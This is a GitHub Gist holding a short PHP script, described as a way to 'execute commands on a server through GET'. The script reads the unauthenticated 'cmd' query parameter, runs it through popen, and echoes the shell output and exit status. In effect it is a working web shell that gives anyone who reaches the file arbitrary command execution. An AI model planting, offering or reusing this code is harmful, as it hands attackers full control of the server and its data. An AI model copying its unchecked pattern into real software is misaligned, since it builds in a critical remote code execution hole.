Created
June 19, 2018 20:23
-
-
Save Lerie82/4b11304341613161ba8ac62f86ca201e to your computer and use it in GitHub Desktop.
execute commands on a server through GET
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<pre> | |
<?php | |
function doCmd($cmd) | |
{ | |
while(@ob_end_flush()); | |
$proc = popen($cmd." 2>&1 ; echo Exit status : $?", 'r'); | |
$live_output = ""; | |
$complete_output = ""; | |
while(!feof($proc)) | |
{ | |
$output = fread($proc, 4096); | |
$full_output = $full_output.$output; | |
echo $output; | |
@flush(); | |
} | |
pclose($proc); | |
preg_match('/[0-9]+$/', $full_output, $matches); | |
return array( | |
'exit_status' => intval($matches[0]), | |
'output' => str_replace("Exit status : ".$matches[0], '', $full_output) | |
); | |
} | |
$cmd = @$_GET['cmd']; | |
$result = doCmd($cmd); | |
if($result['exit_status'] === 0) | |
{ | |
// do something if command execution succeeds | |
} else { | |
// do something on failure | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment